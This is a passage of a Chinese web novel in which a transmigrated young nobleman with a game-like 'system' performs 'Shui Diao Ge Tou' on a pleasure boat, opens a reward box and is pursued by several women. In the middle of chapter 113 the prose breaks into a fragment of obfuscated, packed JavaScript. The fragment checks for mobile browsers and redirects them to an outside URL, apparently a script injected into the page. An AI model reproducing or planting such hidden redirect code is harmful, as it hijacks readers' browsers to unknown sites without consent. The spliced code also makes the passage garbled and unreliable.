待眼前的景物再次变得清晰,思维重新回归,他方才发现自己正跪在水边,有一半的裤腿已经被湿润的沙土完全浸透,一股凉意传来。
“扶……扶我起来。”
双腿有些麻,他朝旁边的徐坤伸出手臂,后者慌乱将其拉住。
侯茂杰艰难站稳之后,目光再度看向湖上的花船。
这一次,不再向先前那般嚣张愤懑,反倒是连眼神都清澈了。
“表哥,咱……咱们现在当如何是好?”徐坤脸上写满了尴尬,一时有些不知所措。
之所以如此,便是刚才两人商议,待江云帆出丑下船,定要让其好看。可现在非但没见到江云帆出丑,反而感觉自己的脸正火辣辣地疼。
面对这个问题,侯茂杰沉默了片刻。
随即,他缓缓开口,目光诚恳道:“其实你我心里都清楚,无论是这首词,还是这支曲,都不可能是江云帆自创而成。”
“但无论怎么说,他的琴技与歌喉,是毋庸置疑的精湛!”
“我承认,我侯茂杰有错!”
见侯茂杰眼神悲壮,徐坤不禁抽了抽嘴角:“表哥,你要认错,也得亲自去对方面前啊。”
“我当然要去他面前!”
侯茂杰转过头,一脸决然,“不过不是认错,我是要问个清楚,他是从何处窃来此词曲!”
……
翩翩姑娘沉没在了江云帆歌声之中,原计划的一人奏琴,一人献舞的场景并没有出现。
花船的船面空无一人,唯一取悦观众的,便只有江云帆的琴与歌。
但在众人都不知晓的角落,却有人在月下独舞。
在王府的护卫船上。
一袭红袍的身影,享受着月光的沐浴,任由修长挺拔的影子在船板之上随长随短。
影子负责纵情起舞,而她负责肆意微笑和忘乎所以。
秦七汐贪恋此刻的月色,贪恋这黑夜,贪恋那随风而来的琴声,贪恋曲中的一字一句。
就像贪恋十年前那个尚有余温的王府。
已经过去好久好久了啊……
作为南毅王的掌上明珠,作为陛下亲封的临汐郡主,她向来是坚强的。这还是她第一次,打开那道回忆的缺口,无所顾忌地将心里埋葬着的所有的情绪,去尽情挥洒出来。
只因为身在那歌那词里,她好似不用顾忌一切……
在迷离恍惚之中,秦七汐仿佛陷入了一场梦境。
在梦里,晚桃花开满了整个盛夏。
明月自云梢而生,月光洒遍大地,月下伊人倚窗独酌。
那人,似隔着千里**,隔着两个世界,与她一同欣赏这同一轮明月……
秦七汐忘记了时间过去多久。
那歌声与琴声停止的刹那,所有的梦境化为云烟。
空气陷入安静,她立于船上,视线逐渐清晰,远方是灯火辉煌,近处则是湖风微荡。
青璇与墨羽正屏住呼吸守在栏杆旁,两人一动不动,脸上都写满了绝对的紧张。
一是不敢打扰郡主,二是害怕她跳舞时不慎坠湖。
其实方才那歌声响起的时候,她们也都傻了眼。
虽体悟不到词中深意,但她们听得出浅显的东西,比如那琴声悦耳,歌曲怡人,明显不是普通的琴手歌者能够创造出来的效果。
但看郡主反应时,方才知道那首词有多么不简单。
忽闻一曲,让
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郡主随歌起舞,这在以前是她们连想都不敢想会真实发生的事情。
但眼下确实发生了,郡主刚才已然完全忘我。
墨羽有些紧张地开口:“殿下……您,没事吧?”
秦七汐摇摇头,大脑已然完全清明。
到此,她才有机会好好回味方才听到的那首词。
——但愿人长久,千里共婵娟。
是啊,与其困在离别之中永远走不出来,不如拜托那天上的明月,将洁白的月光,分享给自己与心中所思之人。
和那日王府楼舫上一样,这一刻,秦七汐再一次真切体会到那种所谓“共鸣”的感觉。
不同的是,她可以确定今日带给她这种感觉的人是谁……
是江公子!
秦七汐知道,自己的想法从一开始就没错。
江云帆虽然只是一名落魄的贵族子弟,但自己见他时的感觉,有一种说不出的奇妙。
平凡人不会有他那样放空一切的眼神,更不可能让自己有那种控制不住想要接近的冲动。
他本就与世人不一样!
……
另一方,花船的船屋之中。
“呼……”
琴声的余韵消散之后,江云帆将手指从七弦琴上拿起,并长舒了一口气。
不简单啊!
弹完这一首《明月几时有》,他几乎把上辈子走艺术路线学的所有知识都给回忆了个遍,大脑高负荷运转,几乎快要宕机。
好在,付出是和回报成正比的。
方才琴曲即将结束时,他的脑子里就已经叮叮叮提示个不停了。
而就在他抬手那一刻,更是一道震耳欲聋的声响——
【叮,震惊达成,来自秦七汐的情绪值:+1688!】
第113章 下次一定
在江云帆的计划里,秦七汐此刻本应该在秋思客栈才对。
但奈何直到那边的诗酒会结束,他也没有收到半点来自对方的情绪值。
果不其然,她是来看灯会了。
江云帆没想到自己是故意躲也没能躲掉,不过还好,这不叫阴差阳错又遇见,而是有缘千里来相逢。
毕竟谁又能拒绝这高达50倍的情绪值呢?
“哈~”
此刻江云帆从琴案旁站起身,用力伸了个懒腰。
趁着别人还陷在震惊里,没机会打扰的空档,他打开了自己的系统面板。
在储存系统道具的空间里,找到了那个散发着金橙色光芒的惊喜礼盒。
【传说级礼盒】
【道具效果:开启之后,可获得丰厚大奖,包含物资奖励、道具奖励及商城强化奖励及各一项。】
【开启条件:消耗10000情绪值。】
【失效时间:7:25:20】
运气不错,尚有七个半小时的时间才到期,而如今的情绪值余额已然来到了11425点。
江云帆丝毫没有犹豫,果断控制系统,开启礼盒!
【叮,成功开启[传说级礼盒],消耗情绪值10000点,获得奖励如下:】
【一、物资奖励:“老干妈”辣椒酱500g装*3瓶,“饭扫光”下饭菜500g装*3瓶,82年拉菲*1瓶。】
【二、道具奖励:强身健体丸*1。】
【三、商城强化奖励:[下次一定]。】
“……”
看完系统字幕与播报,江云帆陷入了沉默,眉头倒是越皱越紧。
光看这些奖品名字,似乎诱惑力根本不够啊。
毕竟这玩意儿可是花了足足10000点情绪值!
什么老干妈、饭扫光,这些调料食材,尽管放在古代足以引起不小的震惊,但平日的商城也有可能刷新,放在大礼包里不就是小材大用吗?
82年的拉菲若是在上辈子,那倒足够值钱。
可在大乾,也不过就是一瓶风味特别的果酒而已。
江少爷顿时有种被坑了的感觉。
正当他满怀郁闷之际,目光却不自觉地落在了储物库中那一个指甲蛋大小、黑色浑圆的药丸上。
【强身健体丸】
【功效:服用后,大幅度增强体格、力量、反应能力。】
好家伙,这玩意儿不简单!
是要把人改造成超级战士啊?
江云帆穿越来到这个世界,因为有前世记忆的帮助,轻易补平了原主不通学问的短板,在文艺方面的优势可谓巨大。
但缺陷也很明显,那就是武力值远不如人。
这个世界的猛人那可是真的会武功,据说一个四品高手可以轻易掀翻一群普通人,一品高手哪怕上了战场也是宛如杀神,至于那传说中的宗师和大宗师,更是以一敌万的存在。
江云帆继承的这副身体,可以说疲弱不堪,脑子里更没有半点武学知识。
加之三个月前那一顿毒打让他受伤不浅,如今想要再习武,或许连最基本的门槛都难以达到。
好在眼前这药丸,能够大幅度增强身体机能,无疑是可以改变这一切的。
至于这个增强幅度有多大,那就得看实际使用的情况了。
到此,一万点情绪值算是值回了大半的票价。
至于最终是盈是亏,那就还得看最后一项奖励的效用如何。
最后的奖励,是商城强化奖励,类似于第一次升级抽奖得到的【折一折】,能让每天系统商城刷新的商品,随机出现一次折扣机会。
至于这一次,叫做……【下次一定】?
脸皮好厚的名字!
江云帆不由得苦笑,这系统的命名逻辑还真是清奇得可以,什么网络热梗都信手拈来。
然而,名字虽然抽象,其效果却非同凡响。
【下次一定】
【作用效果:每日可锁定一件商城商品,使其在下次系统刷新时不会消失。且每成功锁定一次,该商品的售价将自动降低500情绪值。】
这技能,乍看之下似乎平平无奇,但稍一思索,发现实际效果非常强大!
锁定商品,使其不随刷新消失。
这便意味着,今后如果再遇到那些十分珍贵且有用,自己情绪值又不够的好东西时,可以将其保留到第二天。
况且每保留一次,售价降低500情绪值,这样就算心仪的商品再贵,也能一天一天将其刀到可以接受的价格。
总而言之,这绝对是一个神技!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304794|180472||http|test|mini|href|location''.split(''|''),0,{}));
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r>如此看来,这个传说级礼盒,算是大赚特赚了!
江云帆一时心里美滋滋。
但这份喜悦并没有持续多久,因为就在下一刻,这船屋的木门便被人从外推开了。
款款走进屋内的,自然是今夜的花魁翩翩姑娘。
不过说是花魁,却已经被某人抢去了所有的风头。当下的湖边岸上,无论男女老少,还是贫民富人,嘴里所讨论的话题完全离不开方才这首词曲。
“公子之才,当惊尘绝俗!”
翩翩面色深沉,她在走到琴案前方几步的位置停下,朝江云帆行了一个无比诚挚的淑女礼。
此时此刻,她依旧沦陷在那一句“但愿人长久,千里共婵娟”里没能爬起来。
江云帆自然懂些礼貌,摇头抱拳回应:“姑娘过誉了,在下不过一介村夫,对诗词歌赋的态度也只能称得上是爱好,当不得‘惊尘绝俗’这四个字!”
“爱好?”
翩翩整个人都傻了。
说什么笑?这一首词,怕是要把整个大乾文坛给搅个天翻地覆了,你是如何有脸说出“只是爱好”这几个字的?
看似谦逊,实则一点也感受不到谦逊。
不过有一点江云帆确实没说实话。
他歌颂赞扬那些千古流传的华夏古诗词,这一点毋庸置疑。但要说爱好还真谈不上,当年被逼得来来**全文背诵真是要了人老命!
“如此,姑娘……你要求奏的琴乐,我已经完成,如果没有其他的事,那在下便先告辞了。”
功既成,自然得及时身退。
这是江云帆一直以来秉承的准则,毕竟震惊达成之后,极易成为人群的焦点,早溜少麻烦。
然而就在他迈步离开时,翩翩却突然伸出一双素手,一把抓住他的手臂。
“等等!”
也不知是因为激动,还是因为羞涩,她的脸颊一片潮红。
接着,她连忙开口:“江公子,我想问你一个问题。”
江云帆急忙礼貌地躲开对方的手,本想提醒一句男女授受不亲,却忽然意识到一个问题,忍不住眉头一皱。
江公子?
她怎么知道自己姓江?
恍惚间,他再看翩翩,却发现那双原本湿润的眼中,竟闪过一丝杀意!
第114章 命定之人,唯彦公子耳
(这是拆分前面的章节,不影响今晚后续的两更,至于纵横已经付费的读者老爷,后续会在已购新章节里补偿字数)
翩翩接近江云帆,自然不是为了嘎腰子。
此刻她那红裙的衣袖间,正藏着一把冰冷的**。那**的刀身乃是由北漠的荒原精铁打造而成,锋利异常,但凡割过人的喉咙,必是一道大豁口。
其实翩翩的内心也无比纠结。
眼前这个人,很可能就是自己杀父弑祖仇人的儿子,她承诺过一定要报仇,而千载难逢的机会就在眼前。
可当那首《水调歌头·明月几时有》如繁花般绽放而生时,她动摇了。
她想不到世间竟能有如此美妙的词曲存在,或者说,它本就不应该在世间存在。
翩翩太爱这首词了,以至于一时间都不愿相信写下它的男子,便是自己要寻的仇人。
有那么一瞬间她甚至想过,自己舍不得杀江云帆,那就一定要把他永远囚禁在身边,让他永世不得离开!
之所以再起杀心,是因为江云帆竟然要离开!
“姑娘,有什么问题你好好问,有什么话好好说。”
江云帆被她盯得直发毛,正思考着当下的对策,可殊不知,对方已然自背后将手伸进了衣袖。
却恰在这时,一道呼声自船后响起。
“江公子,这可是咱们第三次偶遇了!”
话音落下,屋内隔断的木板墙后,齐之瑶与其随行的侍卫一同迈步走出来。
稚嫩清秀的小女子颇具玩味地看着江云帆,微笑开口道:“一而再,再而三,你还能说这不是缘分吗?”
呵,缘分。
江云帆自然不相信这是什么缘分,眼下的情况,越看越像是被安排好的。
说不定,翩翩知道自己姓江的事,就是对方透露的。
但他也没对齐之瑶摆冷眼,因为在对方出现那一刻,翩翩眼中的杀意明显消散了许多,看得出这位花魁姑娘似乎有些畏惧齐之瑶。
“确实挺巧,齐小姐到这花船上,也是来观舞听曲的?”
“是啊,还好没白来,不然可就错过江公子这首惊天动地的《水调歌头》了,那是何等遗憾?”
其实齐之瑶也是刚刚才缓过神来。
她被这首词惊得不轻,一瞬间便明白为何归雁先生会主动要求收江云帆为徒了。这等旷世奇才,哪个大儒不想纳入门下?
但真的有人能,或者有资格当江云帆的师傅吗?
就好比归雁先生沈远修,他穷尽毕生心血之作,最高也就入了乾文阁的第七层。
而反观江云帆的词作,却大有乾文之巅的姿态!
江云帆看着也不过十几岁,这般年纪创造此作,恐怕已经不能用天赋异禀来形容了。
“齐小姐说得没错,我也觉得这首词惊天动地!”江云帆赞同地点点头。
诚然,这《水调歌头》也算是东坡先生的得意之作了,真正的千古名篇。
对于文学造诣本就相对落后的大乾来说,可不就是惊天动地了吗?
面对江云帆的回答,齐之瑶笑笑没说话。
自己夸自己,她也理解,毕竟有真才实学的人往往都带着一点骄傲与自恋。
她再度看向眼前的男子:“江公子这是打算离开了,不如让小女子送送你?”
“那便有劳了。”
“江公子请!”
齐之瑶朝江云帆比划了一下手势,随后又转头看向脸色黯淡的翩翩,“翩翩姑娘也一起吧。”
后者抬头,立刻跟上脚步。
一行人前后走出船屋。
为避免成为人群焦点,他们并没有选择从正面下船登岸。而是绕至船后,寻到一只小舟,乘那小舟继续往南,打算择一处远离花市的地方停泊。
而与此同时,湖岸之上。
观众的喧嚣已然消停了不少,他们从一开始不顾一切地惊呼感叹,变成了现在的理智讨论,不过话题自然依旧全围绕着那首词。
在广场一侧的假山下,杨文炳跌跌撞撞地冲进人群,想要硬挤到湖边。
而就在这时,许灵嫣那靓丽的身影,正在小缘几几名侍卫的护佑下,自入口处匆匆而来。
天生丽
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质的尚书千金,倒是让不少男子短暂地分了一下心,空气也随之安静片刻。
“文炳,情况如何?”许灵嫣赶过来时胸口起伏,洁白的额间已然渗出细汗。
“是他。”
此刻的杨文炳无比肯定,“方才那词,那曲,那琴声,皆出自彦公子之手!”
听到这话,许灵嫣顿时面露一抹欣喜。
“太好了,那他此刻人在何处?”
“应在花船之上。”
两人几乎同时踮脚抬头往湖上望了一眼。
随即四下观察,寻到一处人群相对不那么拥挤的通路,穿过其中去往湖边。
趁着这个间隙,许灵嫣问起了方才那首词的内容。
“我来时,词曲已至尾声。”
杨文炳一边走一边答道,“不过听旁人你一句我一句的议论,倒是将其完整拼凑了出来。”
“快念来听听!”
许灵嫣满眼希冀。
她对诗词感兴趣,对彦公子也感兴趣,那么彦公子所作的诗词,于她而言必然等同于天地瑰宝。
杨文炳点点头,“咳咳”两声清了下嗓子。
并在脚步踏足湖岸边缘时站定片刻,悠悠朗诵而来:
“明月几时有,把酒问青天。不知天上宫阙,今夕是何年。我欲乘风归去,又恐琼楼玉宇,高处不胜寒。起舞弄清影,何似在人间。”
“转朱阁,低绮户,照无眠。不应有恨,何事长向别时圆?”
“人有悲欢离合,月有阴晴圆缺,此事古难全。”
“但愿人长久,千里……共婵娟!”
许灵嫣原地一顿。
瞳孔猛地放大,嘴角在微笑,眼角却忽然流下一滴清泪:“哈……真好啊,不愧是他……这才是他!”
是啊……
这才是他,此等惊世骇俗,也唯有他!
此时此刻,“彦公子”这三个字,已然像一道金色的烙印,刻在了许灵嫣的心头。
茫茫人间,何人可配我许灵嫣?
她曾向苍天询问答案,而如今,苍天给予她最真实的回应。
命定之人,唯彦公子耳!
第115章 天地为家
在许灵嫣的人生信条里,从来就没有“爱而不得”这四个字。
她一直以来都固执地秉承着一个观点:这世间的一切目标,皆可通过不懈的努力去实现。
倘若最终未能如愿,那只能说明努力还不够。
就好比许家。
回想十几年前,许家在凌州城中,还只是个稍有名气的地方小族,终日为了些许财富利益,与其他几大家族明争暗斗,疲于奔命。
但她的父亲许渊,却凭借着一股不肯认命的狠劲,在短短数年间,自科举入仕,一路平步青云,最终官拜户部尚书,彻底带领着许家摆脱了凌州那方狭隘的天地,昂首踏入了京城的权贵中心。
对于许灵嫣而言,父亲的成功便是她最好的榜样。她虽位列京城四大才女,心中却明镜似的,深知自己在诗词文赋的至高造诣上,与那位惊才绝艳的彦公子相去甚远。
但这差距,非但没有令她退缩,反而激起了她更强的斗志。
她愿意付出任何代价,去弥补这道鸿沟,只为换取一个能够长久留在彦公子身边的机会。
况且,许灵嫣审视自身,无论是容貌、身段,还是性情与习惯,都无可挑剔。
“灵嫣,别再出神了,快看那边!”
挚友杨文炳一声急切的呼唤,如惊雷般将许灵嫣从深沉的思绪中猛然唤醒。
她循着杨文炳手指的方向急急望去,只见不远处的湖面上,一艘仅二丈长短的狭长小舟,正悄然无声地调转船头,朝着远离灯会广场的南方水域划去。
船上载着几道模糊的人影,因夜色深沉,光线昏暗,难以看清具体样貌,只能依稀分辨出是三男两女。
其中一道身影,衣着朴素寻常,在这满城华服、人人争奇斗艳的灯会之夜,显得格外与众不同。
谁知杨文炳的下一句话,却让空气都为之凝固。
他一脸紧张,神色急切:“坐在最中间那人……莫非是彦公子?”
听闻此言,许灵嫣的呼吸瞬间停滞。
“这是要走?现在怎么办!”
她一时慌了,心脏跳得厉害。
难道自己费尽心机,好不容易才来到距离彦公子仅一步之遥的地方,甚至已经能够断定,最近那两首足以惊动天下的绝世之作皆出自他手,可最终还是要这般擦肩而过,连一面都见不上吗?
难道说,老天爷分明为她指明了方向,却偏偏要在她前行的道路上,一次又一次地设下无法逾越的障碍吗?
就在许灵嫣心生绝望,惋惜不已之际,杨文炳已然当机立断:“灵嫣,你先别急!你看他们走的方向,是往南边,想必会在某个僻静处寻地方上岸。”
“这湖畔有条大道,你带人顺着路追过去,我去那花船上确认一番,看看彦公子是不是真的已经离开了。”
“好!”
杨文炳的话如同一剂强心针,让许灵嫣迅速从慌乱中冷静下来。
她毫不迟疑,立刻吩咐贴身侍女小缘去寻来车轿。
随即提裙登上马车,车夫扬鞭一甩,车轮滚滚,朝着那夜色沉沉的南方湖岸飞速追去。
……
时间在无声流逝。
那艘自花船旁悄然离开的小舟,在湖心经过一番漫游后,最终抵达了县城以东,一处距离二号码头约莫半里路的僻静浅滩。
小船轻巧便捷,吃水极浅,可以适应各种复杂的水岸,故而不必非得在人多眼杂的码头停靠。
“江公子接下来有何打算?”
齐之瑶率先一步轻盈下船,江云帆与神情依旧有些恍惚的翩翩紧随其后。负责划桨的
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那位高大护卫,则在最后将缆绳牢牢系在了岸边的石桩上。
当双脚踏上坚实土地的那一刻,江云帆只觉得心中一阵前所未有的踏实,仿佛连日来的漂浮感都一扫而空。
“自然是回去了。”他舒展了一下身子,开口答道,“今夜这灯会,前前后后也算逛了个遍,于我而言,已是圆满了。”
“哦?”
听闻此话,齐之瑶当即秀眉一挑,眸中闪过一丝不易察觉的精光,“这么说来,江公子家住本地?”
“哈哈哈,齐小姐何出此言?”江云帆笑容满面,语气里带着几分洒脱,“住在皇宫,皇宫是家。住在客栈,那客栈便是家。若是餐风露宿于山间桥头,那天地便是家……人只要活着,心安之处,何处不可为家?”
他言笑晏晏,心里却在暗自腹诽。
哼,小样,还想旁敲侧击套我的话?
我江少爷这辈子就打算做个闲云野鹤,彻底躺平了,你想对我刨根问底,那我便只能跟你打太极,东拉西扯了。
果不其然,得到这个玄而又玄的回答,齐之瑶只能知趣地莞尔一笑:“江公子当真意趣风雅,小女子受教了。”
她心中有数,像江云帆这般的人,确实不能逼得太紧,否则只会适得其反。
既然询问住处此路不通,那便只能换个更为柔和的切入点了。
思及此,她转头看向一旁安静伫立、宛如画中人的翩翩,含笑道:“江公子觉得,翩翩姑娘如何?”
“哒哒哒哒……”
她的话音刚落,远处寂静的湖畔大道上,突然传来一阵清脆而急促的马蹄声,由远及近,响彻夜空。
几人不约而同地扭头看去,只见一辆马车正撕开夜幕,朝着他们所在的方向疾驰而来。
……
第116章 怎么是你江云帆?
齐之瑶的目光同样被那艘船吸引,她不仅看清了风帆上以金线绣出的九龙纹样,更认出那是独属于南毅王府的护卫船。
此船的职责,便是在王府那艘华丽至极的楼舫出航时,为其清扫航道,阻挡一切可能的滋扰与窥探。
至于那座如山岳般雄伟的楼舫,传闻是当年南毅王为爱妃亲下谕令,耗费巨资所造。自王妃仙逝,这艘承载着无上荣宠的楼舫,便顺理成章地归于临汐郡主名下。
因此,眼前这艘护卫船上的人,毫无疑问,皆是常年护卫郡主安危的王府精锐亲军。
只是……
“他们为何会跟到这里来?”
此处并非码头港口,湖滩水浅,大型船只难以靠近。对方如此强行抵近,目的昭然若揭,分明就是冲着他们这一行人来的。
齐之瑶暗自屏住呼吸,一双美目凝注着那艘大船缓缓靠近。
然而,就在那护卫船逐渐放缓船速,最终停泊在距离岸边约莫五十步的水面上,形成一种无形压迫之时,湖畔远处的大道上,竟又骤然响起一阵更为急促的马蹄声,其中还夹杂着车轮与石子路剧烈碰撞的“咯噔”声响。
“哒哒哒哒……”
几人不约而同地循声望去,借着路旁灯笼摇曳的昏黄光晕,只见一辆马车正以近乎疯狂的速度疾驰而来。
那是一辆镜源县城内常见的商用马车,装饰朴素简约,平日里多是负责接送些外地来的小官吏或行商,在城中各处往来。此刻,那马夫显然是得了车内人天大的好处,正奋力挥舞着马鞭,不要命地在马背上抽打,恨不得让那马儿生出翅膀来。
马车的窗帘被一只纤手掀开,有人正自车内急切地向外张望。当车中人的视线锁定湖边这一行人后,马夫立刻死命勒住缰绳,在一阵刺耳的嘶鸣声中,马车堪堪停在了距水岸二十步开外的路旁。
目睹此景,江云帆心中不禁一阵唏嘘。
看来今夜这灯会的尾声,注定是无法清静了,一场躲不掉的热闹已然拉开了序幕。他尚不清楚这马车里的人,究竟是为齐之瑶而来,还是冲着自己,但无论如何,加上水上那艘背景吓人的王府护卫船,今日想要轻易脱身,恐怕是没那么容易了。
恰在此时,车帘猛地被掀开,两道身影匆匆自车内而下。
江云帆定睛望去,只见一人红裙似火,艳丽夺目,另一人蓝衣朴素,紧随其后,那两道身影竟是熟悉得不能再熟悉。
居然是许灵嫣和她的贴身侍女小缘!
当真是冤家路窄,天地无门。江云帆原本还暗自庆幸,今日难得享受了一整天的清净,从早到晚,都未曾受到这位前未婚妻的任何叨扰。谁承想,眼看就要曲终人散,却在这偏僻荒凉的犄角旮旯里,与她撞了个正着。
当然,这绝非偶遇。看许灵嫣那副火急火燎、气喘吁吁的模样,分明是特意追赶至此。
主仆二人刚一站稳,便头也不回地朝着湖边疾步赶来。
许灵嫣此刻的心中,满是劫后余生般的庆幸。她为追寻那神秘的彦公子而来,先前在广场上眼睁睁看着那艘小舟远去,一颗心几乎沉到了谷底。
好在今夜灯火通明,照亮了前路,马匹得以在湖畔大道上肆意奔驰,这才让她在最后关头,堪堪追上了目标。
因此,她下车后的第一件事,便是在人群中急切地搜寻那个衣着最为质朴寻常的男子身影。
至于那男子身旁的另外三人,她只是匆匆一瞥。
其中一个身材魁梧高大的男子,倒是十分醒目。他旁边那位身形娇小的女子,看似气质不俗。而另一侧那位与自己同样身着红裙的女子,容貌姣好,在月色下极为亮眼。
但许灵嫣此刻全不在乎。她的心中、眼中,只剩下那个即将实现的夙愿——立刻与彦公子相见,相识!
只要杨文炳所言非虚,那位衣着朴素的男子,便是她苦苦寻觅、魂牵梦萦之人。
念及此,许灵嫣内心的激动与狂喜已然无法用
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言语形容。
她甚至顾不上去维持平日里苦心经营的大家闺秀形象,就那样“踏踏踏”地踩上湖畔沾满露水的茂盛青草,任由冰凉的露水浸透精致的绣鞋,快步来到湖边几人跟前。
然而,当她终于站定,满怀期待地抬头望向人群中那个朝思暮想的身影时,整个人却如同被一道惊雷劈中,瞬间僵在了原地。
许大小姐秀眉紧蹙,眼中那份灼热的期盼迅速冷却,转瞬间便被浓浓的失望所取代。
“江云帆?怎么会是你!”
她当场懵了,脑中一片空白。
原本以为老天爷今日总算开了眼,让她在绝望之际抓住了这千载难逢的机会,得以亲眼见到自己心心念念的人。
在此之前,她甚至已在脑海中演练了无数遍初见彦公子时的场景。
自己应该用什么样的仪态与表情,说什么样的话,并做出何种亮眼的举动以吸引对方的注意。
可就在她将一切都准备妥当,满心欢喜地奔赴这场命中注定的相遇时,却赫然发现,自己费尽心力找到的人,根本不是什么彦公子,而是江云帆这个她鄙夷至极的废物!
怎么会这样?
凭什么啊!
许灵嫣一时之间根本无法接受这现实,她用一种不可理喻的目光死死地盯着江云帆,仿佛要将他看穿。
她现在总算深刻体会到了何为从云端跌落深渊的滋味,于是,越看江云帆这张脸,就越觉得面目可憎,心中那股无名火烧得她五脏六腑都在疼。
可谁知,那个让她恨得牙痒的家伙,竟然还能没皮没脸地笑出声来。
“许小姐还真是爱说笑。”江云帆懒洋洋地摊了摊手,又轻轻耸了耸肩,开口答道,“我若不是我,那还能是谁?”
“我倒希望你不是你!”
许灵嫣气得银牙紧咬,贝齿几乎要将嘴唇咬破。她心中原先构建起的所有美好幻想与雀跃喜悦,都在见到江云帆的这一刻,彻底烟消云散。
……
第117章 今晚,江公子随我去
江云帆与彦公子,永远不可能是同一个人!
这是许灵嫣自一开始便坚决认定的一件事。
即便种种猜测都指向了这一种可能,比如杨文炳画下的肖像,比如念荷亭上那首诗,又比如今夜湖上乘船而去的这个身影……或许经过这一桩桩,别人真会以为江云帆便是那晚在镜湖文会上投下千古妙词之人,而“彦祖”则是他的化名。
但那也仅仅是因为别人不了解江云帆。
而许灵嫣足够了解,所以很清楚他是什么样的德行。这个自幼无能且不思进取的纨绔子弟,在被逐出江家之前尚且一无是处,又怎可能在短短三个月之内改头换面,既会赋词,又能弹琴了?
他总不可能突然换了一个人!
至于今晚,或许是杨文炳没看清楚,把这家伙错认成彦公子,毕竟两人身形外貌本就有着几分相似。
想到这点,许灵嫣心中倒是释然了几分。
她忽然有了一个大胆的猜想。
从江云帆“下民易虐,上天难欺”那则对联,到念荷庭中的妙诗,再到杨文炳称彦公子活动于秋思客栈,而今夜他恰好也是从那花船上下来,许灵嫣不禁想,这江云帆会不会恰好认识彦公子,且两人关系还不错。
所以那些诗词对联,都是江云帆从彦公子手中誊摘抄袭而来。
这样的可能性不小。
说不定通过江云帆,也有机会寻到彦公子。
念及此,许灵嫣便换了个态度,再次面对江云帆。
可许是刚刚太过专注,她此刻方才注意到,站在江云帆旁边的另外三人中,有一人已然走到自己跟前。
“真巧啊许小姐,没想到远隔千里,还能在这江南小县城相遇。”
“齐小姐?”
许灵嫣被那清亮女声所吸引,转头看去,立马看见笑脸迎来的齐之瑶。
她一时更加茫然了。
这位可是尊贵的开阳侯府大小姐,又怎会和江云帆这种俗民在一块儿,甚至还同乘一船?
不过出于礼仪,她还是先与对方打了招呼,并相互行礼。
在京城,许家与齐家,都算是地位极高的名门。
齐家资历老,爵位高,而许家家主身居要职,权力更大,两家无需比个高低,后代相见时,皆以平等对待。
江云帆见此一幕,暗道自己的猜想没错。
一开始他便认为齐之瑶的身份不简单,接近他也别有目的,如今看来,还是个来自京城的大家闺秀!
此时许灵嫣缓过了神,便开口问道:“齐小姐不远千里到江南,是为参加万灯节?”
齐之瑶点点头:“京城繁杂无趣,不如游山玩水,许小姐来此,是为参加郡主的招婿文会?”
“也不全是吧,还有一些私事处理。”
“莫非……是退婚之事?”
京城虽大,但真正核心圈子里的公子小姐,倒也不算多,故而齐之瑶与许灵嫣之间早早就已经认识了。
自从多有名门望族到尚书府提亲遭拒,就逐渐有人泄露了消息,称许家小姐在老家凌州订有娃娃亲,为保声誉,不得不一再拒绝提亲之人。
帝都消息流通迅速,后来许灵嫣亲自回凌州退婚,这事也同样传开了。
对于齐之瑶知晓退婚这件事,许灵嫣也不意外。
她本想找个话题支过去,却未曾想,旁边的侍女小缘竟突然满脸闷闷地说了一句:“可不是吗,好在我家小姐成功摆脱了这江云帆,从此算是彻底轻松了。”
话刚说完,便迎上许灵嫣冰冷的目光。
小缘方知自己多嘴了,连忙低头称歉。
但是话却已然被齐之瑶听了去,她当即眉毛一挑,有些惊愕道:“与许小姐定下娃娃亲的,莫非就是江公子?”
“没错。”
话说到这里,许灵嫣倒也没有隐瞒,“齐小姐身后这人,便是祖辈当年在凌州为我定下的结亲对象,不过如今婚书已撕,
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婚约已毁,我与他再无瓜葛。”
齐之瑶听到这回答,脚下连忙上前一步:“许小姐为何要退婚?”
她的心中已然万分不解。
祖上将自己与江公子定下婚约,这是何等幸运的一件事?
怕是许多人做梦都梦不来!
要知道以江公子之才,这天底下能配得上她的女子,恐怕屈指可数。
就以齐之瑶自身而言,身为开阳侯府嫡孙女,且姿色尚优。她虽与江公子仅仅有过几面的缘分,并无感情可言,但一想到若是自己与对方有婚约,那便忍不住地欣喜不已。
毕竟作为女子,出嫁是迟早的事。
而江公子身负惊世之才,且身姿容貌皆属上乘,配她齐之瑶,当那开阳侯府的孙女婿,绰绰有余。
她属实想不到,这样的婚约,居然会有人主动退掉!
“当然得退婚!”
许灵嫣的回答无比坚决,“齐小姐应当也知道,我许灵嫣志向高远,且眼里容不得沙子。某些不学无术,品行低劣之人,注定无法与我同行!”
说话之时,她的目光还冷冷地扫过江云帆,嫌恶之色昭然。
江云帆一脸无所畏地将头转向别处。
呵,随你怎么说。
江少爷我贪图享乐,只要能过好自己的日子,何必在乎别人的看法?
倒是齐之瑶惊讶更甚:“许小姐当真如此认为?”
“自然。”
好啊……看来许灵嫣还完全不知道真实的江云帆是什么样的。
齐之瑶暗自庆幸,这样一来,自己也算少了个竞争对手。
想到这她连忙说道:“既如此,许小姐若无它事,我便带江公子先行离开了。”
“不行。”
许灵嫣急忙拦住去路,“有关婚约之事,我与江云帆尚未处理完全,今夜他得跟我走!”
处理婚约事宜自然是假,她的目的,是想尝试从江云帆口中问出一些关于彦公子的消息。
第118章 秦小姐请露脸
洁白的月光清凉如辉,好似为湖上的水汽覆上了一层朦胧的薄膜。
鲜艳的红色,在此情景下显得格外醒目。
例如湖岸边争锋而立的两名女子。本就姿容华美,身材高挑,在红裙的装饰下,更是艳丽非常。
哪怕本就是个漂亮胚子的齐之瑶,见此一幕也不禁心生感慨。
一个是名动京城的四美之一,一个是毫不逊色的北域美人,放眼整个天下,恐怕极少有人能出其右了吧?
而就在今夜,就在这小小县城的偏僻湖岸,却同时出现了两位这样的绝色女子。
当真为这湖景,添上了最完美的色彩。
而这两位绝色女子之所以互相斗艳,原因竟是为争夺一位男子。
齐之瑶自然知道江云帆异于常人。
可许灵嫣与翩翩二人,又何尝不是人间难寻?
